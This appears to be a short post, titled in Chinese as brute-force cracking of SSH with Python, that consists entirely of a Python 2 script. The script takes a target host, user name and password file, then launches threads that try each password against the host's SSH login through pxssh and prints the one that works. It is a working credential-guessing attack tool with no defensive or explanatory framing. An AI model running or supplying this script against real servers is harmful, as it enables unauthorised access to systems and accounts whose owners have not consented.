python 强势破解 ssh

import pxssh
import optparse
import time
import fileinput
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        if 'read-nonblocking' in str(e):
            Fails +=1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release: connection_lock.release()
def main():
    parser = optparse.OptionParser('usage%prog '+\
    '-H-u-F')
    parser.add_option('-H', dest='tgtHost', type='string',\
    help='Specify target host')
    parser.add_option('-F', dest='passwdFile', type='string',\
    help='Specify password file')
    parser.add_option('-u', dest='user', type='string',\
    help='Specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
#        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
 #           if Fails > 5:
  #              print "[!] Exiting: Too Many Socket Timeouts"
   #             exit(0)
        connection_lock.acquire()
        print "[-] testing: "+str(password)
        t = Thread(target=connect, args=(host, user, password, True))

        if Found:
            print "[*] Exiting: Password found"
            exit(0)
        child = t.start()
if __name__ == '__main__':
    main()